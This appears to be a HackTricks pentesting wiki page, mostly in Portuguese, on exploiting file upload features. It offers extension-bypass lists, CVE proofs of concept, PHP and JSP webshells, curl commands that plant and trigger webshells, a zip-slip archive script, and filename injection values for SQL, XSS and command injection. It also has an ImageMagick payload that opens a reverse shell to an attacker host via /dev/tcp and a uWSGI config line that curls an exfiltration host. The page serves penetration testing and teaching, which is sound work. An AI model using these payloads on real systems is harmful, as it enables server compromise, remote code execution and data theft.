Upload de Arquivos
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Metodologia Geral de Upload de Arquivos
Outras extensões úteis:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass file extensions checks
- Se se aplicarem, verifique as extensões anteriores. Teste-as também usando algumas letras maiúsculas: pHp, .pHP5, .PhAr …
- Verifique adicionar uma extensão válida antes da extensão de execução (use também as extensões anteriores):
- file.png.php
- file.png.Php5
- Tente adicionar caracteres especiais no final. Você pode usar o Burp para bruteforce todos os caracteres ascii e Unicode. (Note que você também pode tentar usar as extensões mencionadas anteriormente)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Tente contornar as proteções enganando o extension parser do lado servidor com técnicas como doubling a extension ou adding junk data (null bytes) entre extensões. Você também pode usar as extensões anteriores para preparar um payload melhor.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Adicione outra camada de extensões ao teste anterior:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Tente colocar a exec extension before the valid extension e torça para que o servidor esteja mal configurado. (útil para explorar misconfigurações do Apache onde qualquer coisa com extension** .php, but not necessarily ending in .php** will execute code):
- ex: file.php.png
- Usando NTFS alternate data stream (ADS) no Windows. Nesse caso, um caractere de dois pontos “:” será inserido depois de uma extensão proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensão proibida será criado no servidor (ex.: “file.asax:.jpg”). Esse arquivo pode ser editado depois usando outras técnicas como usar seu short filename. O padrão “::$data” também pode ser usado para criar arquivos não vazios. Portanto, adicionar um caractere de ponto depois desse padrão também pode ser útil para contornar restrições adicionais (.e.g. “file.asp::$data.”)
- Tente quebrar os limites de nome de arquivo. A extensão válida é cortada. E o PHP malicioso permanece. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Alguns upload handlers removem ou normalizam caracteres de ponto final do nome de arquivo salvo. No UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) em versões anteriores à 2.9.1, você pode contornar a validação de extensão fazendo:
- Usar um MIME e header mágico de imagem válidos (por exemplo, o header do PNG
\x89PNG\r\n\x1a\n). - Nomear o arquivo enviado com uma extensão PHP seguida por um ponto, ex.:
shell.php.. - O servidor remove o ponto final e persiste
shell.php, que será executado se for colocado em um diretório servido pela web (storage público por padrão como/storage/files/).
PoC mínimo (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Então acesse o caminho salvo (típico em Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks definindo o value do Content-Type header para: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check adicionando, no início do arquivo, os bytes de uma imagem real (confunde o comando file). Ou introduza o shell dentro dos metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\ou você também pode introduzir o payload diretamente em uma imagem:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Se compressions is being added to your image, por exemplo usando algumas bibliotecas PHP padrão como PHP-GD, as técnicas anteriores não serão úteis. Entretanto, você pode usar o PLTE chunk technique defined here para inserir texto que sobreviva à compressão.
- Github with the code
- A página web também pode estar redimensionando a image, usando por exemplo as funções PHP-GD
imagecopyresizedouimagecopyresampled. No entanto, você pode usar o IDAT chunk technique defined here para inserir texto que sobreviva à compressão. - Github with the code
- Outra técnica para criar um payload que sobrevive a um redimensionamento de imagem, usando a função PHP-GD
thumbnailImage. Ainda assim, é possível usar o tEXt chunk technique defined here para inserir texto que sobreviva à compressão. - Github with the code
Outros truques para verificar
- Encontre uma vulnerabilidade para renomear o arquivo já enviado (para mudar a extensão).
- Encontre uma vulnerabilidade de Local File Inclusion para executar o backdoor.
- Possível divulgação de informação:
- Fazer upload várias vezes (e ao mesmo tempo) do mesmo arquivo com o mesmo nome
- Fazer upload de um arquivo com o nome de um arquivo ou pasta que já exista
- Fazer upload de um arquivo com “.” , “..”, ou “…” como nome. Por exemplo, em Apache no Windows, se a aplicação salva os arquivos enviados em “/www/uploads/”, o nome de arquivo “.” criará um arquivo chamado uploads” no diretório “/www/”.
- Fazer upload de um arquivo que pode não ser deletado facilmente, como “…:.jpg” em NTFS. (Windows)
- Fazer upload de um arquivo no Windows com caracteres inválidos como
|<>*?”no nome. (Windows) - Fazer upload de um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Tente também fazer upload de um executável (.exe) ou um .html (menos suspeito) que execute código quando aberto acidentalmente pela vítima.
Truques especiais de extensão
Se você está tentando enviar arquivos para um PHP server, take a look at the .htaccess trick to execute code.
Se você está tentando enviar arquivos para um ASP server, take a look at the .config trick to execute code.
Os arquivos .phar são como os .jar para java, mas para php, e podem ser usados como um arquivo php (executando-o com php, ou incluindo-o dentro de um script…)
A extensão .inc às vezes é usada para arquivos php que são apenas usados para importar arquivos, então, em algum ponto, alguém pode ter permitido essa extensão ser executada.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. Então, como mencionado na imagem a seguir, envie o arquivo XML para $JETTY_BASE/webapps/ e espere pela shell!
.png)
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguém tiver a capacidade de modificar o arquivo de configuração .ini. Arquivos de configuração do uWSGI usam uma sintaxe específica para incorporar variáveis “mágicas”, placeholders e operadores. Notavelmente, o operador ‘@’, utilizado como @(filename), é projetado para incluir o conteúdo de um arquivo. Entre os vários schemes suportados no uWSGI, o esquema “exec” é particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Esse recurso pode ser manipulado para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração .ini é processado.
Considere o seguinte exemplo de um arquivo uwsgi.ini malicioso, demonstrando vários schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
A execução do payload ocorre durante a análise do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a uma Denial of Service attack) ou o arquivo deve estar configurado para auto-reload. O recurso auto-reload, se habilitado, recarrega o arquivo em intervalos especificados ao detectar alterações.
É crucial entender a natureza permissiva do parsing dos arquivos de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Um endpoint não autenticado no Gibbon LMS permite arbitrary file write dentro do web root, levando a pre-auth RCE por meio da criação de um arquivo PHP. Versões vulneráveis: até e incluindo 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](o servidor ignora type/name e decodifica em base64 a parte final)path: nome do arquivo de destino relativo ao Gibbon install dir (por exemplo,poc.phpou0xdf.php)gibbonPersonID: qualquer valor não vazio é aceito (por exemplo,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Implante um webshell mínimo e execute comandos:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notas:
- O handler performs
base64_decode($_POST["img"])after splitting by;and,, then escreve bytes em$absolutePath . '/' . $_POST['path']sem validar extension/type. - O código resultante é executado como o usuário do serviço web (por exemplo, XAMPP Apache on Windows).
Referências para este bug incluem o usd HeroLab advisory e a entrada NVD. Veja a seção References abaixo.
wget File Upload/SSRF Trick
Em algumas ocasiões você pode descobrir que um servidor está usando wget para download files e você pode indicar a URL. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma whitelist para garantir que apenas arquivos permitidos serão baixados. No entanto, this check can be bypassed.
O maximum comprimento de um filename em linux é 255, no entanto, o wget trunca os nomes de arquivo para 236 caracteres. Você pode download a file called “A”*232+“.php”+“.gif”, esse filename vai bypass a check (como neste exemplo “.gif” é uma extensão valid) mas wget vai rename o arquivo para “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note que outra opção que você pode estar pensando para contornar essa verificação é fazer com que o HTTP server redirect to a different file, assim a URL inicial vai passar pela verificação e então o wget irá baixar o arquivo redirecionado com o novo nome. Isso não vai funcionar a menos que o wget esteja sendo usado com o parâmetro --trust-server-names porque wget will download the redirected page with the name of the file indicated in the original URL.
Evasão do diretório de upload via NTFS junctions (Windows)
(Para este ataque você precisará de acesso local à máquina Windows) Quando os uploads são armazenados em subpastas por usuário no Windows (por exemplo, C:\Windows\Tasks\Uploads<id>) e você controla a criação/remoção dessa subpasta, você pode substituí-la por uma directory junction apontando para um local sensível (por exemplo, o webroot). Uploads subsequentes serão gravados no caminho de destino, possibilitando execução de código se o alvo interpretar server‑side code.
Exemplo de fluxo para redirecionar uploads para o XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notas
- mklink /J creates an NTFS directory junction (reparse point). A conta do servidor web deve seguir a junction e ter permissão de escrita no destino.
- Isso redireciona gravações arbitrárias de arquivos; se o destino executar scripts (PHP/ASP), isso vira RCE.
- Defesas: não permita que diretórios de upload graváveis sejam controláveis pelo atacante sob C:\Windows\Tasks ou similar; bloquear criação de junctions; validar extensões no servidor; armazenar uploads em um volume separado ou com ACLs que neguem execução.
Upload de corpo comprimido com GZIP + path traversal no parâmetro destination → JSP webshell RCE (Tomcat)
Alguns upload/ingest handlers escrevem o corpo bruto da requisição em um caminho do sistema de arquivos que é construído a partir de parâmetros de query controlados pelo usuário. Se o handler também suporta Content-Encoding: gzip e falha ao canonicalizar/validar o caminho de destino, você pode combinar directory traversal com um payload gzipped para escrever bytes arbitrários em um diretório servido pela web e obter RCE (por exemplo, dropar um JSP em Tomcat’s webapps).
Fluxo genérico de exploração:
- Prepare seu payload server-side (ex.: um JSP webshell mínimo) e compacte os bytes com gzip.
- Envie um POST onde um parâmetro de caminho (ex.: token) contenha traversal escapando da pasta pretendida, e file indique o nome do arquivo a ser persistido. Defina Content-Type: application/octet-stream e Content-Encoding: gzip; o corpo é o payload comprimido.
- Acesse o arquivo escrito para disparar a execução.
Requisição ilustrativa:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Então acione:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notas
- Os caminhos alvo variam conforme a instalação (ex.: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ em algumas stacks). Qualquer pasta exposta na web que execute JSP funcionará.
- A extensão Hackvertor do Burp Suite pode gerar um corpo gzip correto a partir do seu payload.
- Este é um padrão puramente pre-auth de escrita arbitrária de arquivo → RCE; não depende de multipart parsing.
Mitigações
- Determine os destinos de upload no lado do servidor; nunca confie em fragmentos de caminho vindos do cliente.
- Canonicalize e garanta que o caminho resolvido permaneça dentro de um diretório base allow-listed.
- Armazene uploads em um volume não executável e negue a execução de scripts a partir de caminhos graváveis.
Ferramentas
- Upload Bypass é uma ferramenta poderosa projetada para auxiliar Pentesters e Bug Hunters a testar mecanismos de file upload. Ela aproveita várias técnicas de bug bounty para simplificar o processo de identificar e explorar vulnerabilidades, garantindo avaliações completas de aplicações web.
Corrupting upload indices with snprintf quirks (historical)
Alguns handlers de upload legados que usam snprintf() ou similar para construir arrays multi-file a partir de um upload de arquivo único podem ser enganados a forjar a estrutura _FILES. Devido a inconsistências e truncamento no comportamento de snprintf(), um upload cuidadosamente construído pode aparecer como múltiplos arquivos indexados do lado do servidor, confundindo lógicas que assumem uma forma rígida (por exemplo, tratando como um upload multi-file e tomando branches inseguros). Embora seja um padrão nicho hoje em dia, esse “index corruption” ocasionalmente ressurgem em CTFs e bases de código mais antigas.
From File upload to other vulnerabilities
- Defina filename como
../../../tmp/lol.pnge tente obter um path traversal - Defina filename como
sleep(10)-- -.jpge você pode conseguir um SQL injection - Defina filename como
<svg onload=alert(document.domain)>para obter um XSS - Defina filename como
; sleep 10;para testar algum command injection (mais command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Teste diferentes svg payloads de https://github.com/allanlw/svg-cheatsheet
- Famosa vulnerabilidade ImageTrick
- Se você puder indicar ao web server para buscar uma imagem a partir de uma URL, pode tentar abusar de um SSRF. Se essa image for salva em algum site público, você também poderia indicar uma URL de https://iplogger.org/invisible/ e roubar informações de todo visitante.
- XXE and CORS bypass with PDF-Adobe upload
- PDFs especialmente criados para XSS: A página a seguir mostra como injetar dados em PDF para obter execução de JS. Se você puder fazer upload de PDFs, pode preparar um PDF que execute JS arbitrário seguindo as indicações dadas.
- Faça upload do conteúdo [eicar](https://secure.eicar.org/eicar.com.txt) para checar se o servidor possui algum antivirus
- Verifique se há algum size limit ao fazer upload de arquivos
Aqui está uma lista top 10 do que você pode conseguir fazendo upload (a partir daqui):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para outros tipos de arquivo.
Zip/Tar File Automatically decompressed Upload
Se você conseguir fazer upload de um ZIP que será descomprimido dentro do servidor, você pode fazer 2 coisas:
Symlink
Faça upload de um arquivo que contenha symlinks para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Descomprimir em pastas diferentes
A criação inesperada de ficheiros em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que esta configuração poderia proteger contra execução de comandos a nível do OS através de uploads maliciosos, o suporte hierárquico de compressão e as capacidades de traversal de diretórios do formato de arquivo ZIP podem ser explorados. Isto permite que atacantes contornem restrições e escapem dos diretórios seguros de upload ao manipular a funcionalidade de descompressão da aplicação alvo.
Um exploit automatizado para criar esses ficheiros está disponível em evilarc on GitHub. A utilidade pode ser usada como mostrado:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Além disso, a symlink trick with evilarc é uma opção. Se o objetivo for atingir um arquivo como /flag.txt, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação.
Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusing compression for file spraying
Para mais detalhes check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: Código PHP é escrito para executar comandos passados através da variável
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Vários arquivos são criados e um arquivo zip é montado contendo esses arquivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Os nomes dos arquivos dentro do zip são alterados usando vi ou um hex editor, trocando “xxA” por “../” para atravessar diretórios.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Quando um backend valida entradas ZIP usando o PHP’s ZipArchive, mas a extração grava no filesystem usando nomes raw, é possível contornar a restrição de extensão proibida inserindo um NUL (0x00) nos campos de nome de arquivo. ZipArchive trata o nome da entrada como uma C‑string e trunca no primeiro NUL; o filesystem grava o nome completo, removendo tudo após o NUL.
High-level flow:
- Prepare a legitimate container file (e.g., a valid PDF) that embeds a tiny PHP stub in a stream so the magic/MIME stays a PDF.
- Name it like
shell.php..pdf, zip it, then hex‑edit the ZIP local header and central directory filename to replace the first.after.phpwith0x00, resulting inshell.php\x00.pdf. - Validators that rely on ZipArchive will “see”
shell.php .pdfand allow it; the extractor writesshell.phpto disk, leading to RCE if the upload folder is executable.
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notas
- Altere AMBAS ocorrências do nome do arquivo (local e diretório central). Algumas ferramentas adicionam também uma entrada extra de data descriptor – ajuste todos os campos name se presentes.
- O arquivo de payload ainda deve passar pela verificação server‑side de magic/MIME. Embutir o PHP em um stream PDF mantém o cabeçalho válido.
- Funciona quando o caminho de enum/validação e o caminho de extração/gravação discordam no tratamento de strings.
Stacked/concatenated ZIPs (parser disagreement)
Concatenar dois arquivos ZIP válidos produz um blob onde diferentes parsers se concentram em diferentes registros EOCD. Muitas ferramentas localizam o último End Of Central Directory (EOCD), enquanto algumas bibliotecas (p.ex., ZipArchive em fluxos de trabalho específicos) podem analisar o primeiro arquivo que encontrarem. Se a validação enumera o primeiro arquivo e a extração usa outra ferramenta que honra o último EOCD, um arquivo benigno pode passar nas checagens enquanto um malicioso é extraído.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Padrão de abuso
- Crie um arquivo benigno (tipo permitido, por exemplo, um PDF) e um segundo arquivo contendo uma extensão bloqueada (por exemplo,
shell.php). - Concatene-os:
cat benign.zip evil.zip > combined.zip. - Se o servidor valida com um parser (vê benign.zip) mas extrai com outro (processa evil.zip), o arquivo bloqueado acaba no caminho de extração.
ImageTragic
Envie este conteúdo com uma extensão de imagem para explorar a vulnerabilidade (ImageMagick , 7.0.1-1) (a partir do exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Incorporando PHP Shell em PNG
Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode contornar efetivamente certas operações de processamento de imagem. As funções imagecopyresized e imagecopyresampled do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do PHP shell incorporado de permanecer intacto por essas operações é uma vantagem significativa para determinados casos de uso.
Uma exploração detalhada dessa técnica, incluindo sua metodologia e potenciais aplicações, é apresentada no seguinte artigo: “Encoding Web Shells in PNG IDAT chunks”. Este recurso oferece um entendimento abrangente do processo e suas implicações.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Arquivos Polyglot
Arquivos polyglot atuam como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um GIFAR, um híbrido que funciona tanto como GIF quanto como um arquivo RAR. Tais arquivos não se limitam a essa combinação; combinações como GIF e JS ou PPT e JS também são viáveis.
A utilidade principal dos arquivos polyglot reside na sua capacidade de contornar medidas de segurança que filtram arquivos por tipo. A prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco de formatos potencialmente perigosos (por exemplo, JS, PHP ou Phar). No entanto, um polyglot, ao conformar-se aos critérios estruturais de múltiplos tipos de arquivo, pode passar despercebido por essas restrições.
Apesar da adaptabilidade, polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente encarnar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do upload pode depender das políticas de extensão do sistema. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Fazer upload de JSONs válidos como se fossem PDF
Como evitar a detecção de tipo de arquivo ao fazer upload de um arquivo JSON válido mesmo quando não é permitido, fingindo que é um arquivo PDF (técnicas do this blog post):
mmmagiclibrary: Contanto que os bytes mágicos%PDFestejam nos primeiros 1024 bytes, é considerado válido (veja exemplo no post)pdfliblibrary: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um PDF (veja exemplo no post)filebinary: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior do que isso para que não consiga interpretar o conteúdo como JSON e, dentro do JSON, colocar a parte inicial de um PDF real — ele então o identificará como PDF
Confusão de Content-Type para leitura arbitrária de arquivos
Alguns handlers de upload confiam no corpo de requisição parseado (por exemplo, context.getBodyData().files) e, em seguida, copiam o arquivo a partir de file.filepath sem antes impor Content-Type: multipart/form-data. Se o servidor aceita application/json, você pode fornecer um objeto files falso apontando filepath para qualquer caminho local, transformando o fluxo de upload em um primitivo de leitura arbitrária de arquivos.
Exemplo de POST contra um fluxo de formulário que retorna o binário enviado na resposta HTTP:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
